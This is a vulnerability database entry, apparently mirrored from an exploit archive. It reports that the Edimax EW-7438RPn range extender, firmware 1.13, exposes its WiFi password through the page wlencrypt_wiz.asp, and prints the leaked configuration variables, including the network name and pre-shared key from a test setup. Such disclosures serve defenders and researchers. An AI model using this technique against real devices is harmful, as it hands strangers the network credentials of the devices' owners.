发布 2020-04-22 漏洞条目

Edimax EW-7438RPn – Information Disclosure (WiFi Password)

Exploit Source

# Exploit Title: Edimax EW-7438RPn 1.13 - Information Disclosure (WiFi Password)

# Date: 2020-04-21

# Exploit Author: Besim ALTINOK

# Vendor Homepage: https://www.edimax.com/edimax/merchandise/merchandise_detail/data/edimax/global/wi-fi_range_extenders_n300/ew-7438rpn_mini/

# Version:1.13

# Tested on: Edimax EW-7438RPn 1.13 Version

-----------------------------

Here step by step :

1. I did Setup

2. After setup try to access to *wlencrypt_wiz.asp* file

3. After access to this file, I saw some information disclosure

(Like *WiFi Password*)

4. Here is the all leak here:

-------------------------------

var _DATE_="Mon Sep 24 19:38:17 CST 2012";

var _VERSION_="1.13";

var _MODEL_="EW7438RPN";

var _MODE_="Edimax";

var _PLATFORM_="RTL8196CS_1200";

var _HW_LED_WPS_="4";

var _HW_LED_POWER_="6";

var _HW_LED_WIRELESS_="2";

var _HW_BUTTON_RESET_="5";

var _HW_BUTTON_WPS_="1";

var _HW_BUTTON_SWITCH_="3";

var _HW_LED_USB_="17";

var _WIRELESS_IGMPSNOOP_="y";

var _SPECIAL_CHAR_FILTER_IN_SCRIPT_="y";

var _RDISC_="y";

var _WPS_NO_BROADCAST_="y";

var _UPNP_LIB_VERSION2_="y";

var _WDS_UR_INFO_="y";

var _RESERVE_ENCRYPTION_SETTING_="y";

var _IGMP_PROXY_="y";

var _IGMPSNOOP_="y";

var _RFTYPE_="2T2R";

var _MEMBUS_="16";

var _MEMSIZE_="16";

var _MEMTYPE_="SDRAM";

var _FLASHTYPE_="SPI";

var _REMOVE_RADIUS_SERVER_="y";

var _AUTO_CHANNEL_DET_="y";

var _CONTROL_SIDEBAND_="y";

var _WIFI_11N_STANDARD_="y";

var _SETTING_WIZARD_="y";

var _CONFIG_FILE_NAME_="7438RPN";

var _AP_WITH_DNS_="y";

var _USE_DNRD_="y";

var _WPS_MIX_="y";

var _POWER_SAVING_="y";

var _WEB_FILE_NAME_="7438RPN";

var _PINCODE_BY_MAC_="y";

var _UPNP_RESPONDER_="y";

var _MDNS_RESPONDER_="y";

var _NETBIOS_RESPONDER_="y";

var _AP_WITH_DHCP_CLIENT_="y";

var _LLTD_NODENAME_="y";

var _DHCP_SWITCH_="y";

var _CONNECT_TEST_="y";

var _START_BOA_="y";

var _WPS_Daemon_="y";

var security = 1;

apMode = 6;

methodVal = 2;

opMode = 0;

apMachType = 1;

var ssidTbl = new Array("PentesterTraining");

var mirrorTbl = "";

var secModeTbl = new Array("2");

var enable1XTbl = new Array("0");

var _1xMode = "0";

var wepTbl = new Array("0");

var keyTypeTbl = new Array("1");

var wpaCipherTbl = new Array("2");

var pskFormatTbl = new Array("0");

var pskValueTbl = new Array("wifipass123.");

var defaultKeyIdTbl=new Array("0");

var rsIp= "";

var rsPort= "1812";

var rsPassword= "";

Besim ALTINOK

*Security Engineer*

作者: Besim
日期: 2020-04-22
类别: webapps
平台: hardware

相关漏洞条目

Prodigy Commerce 3.3.0 – Local File Inclusion

Langflow 1.3.0 – Remote Code Execution

Quick Playground for WordPress 1.3.1 – Unauthenticated Remote Code Execution

MikroORM 7.0.13 – SQL Injection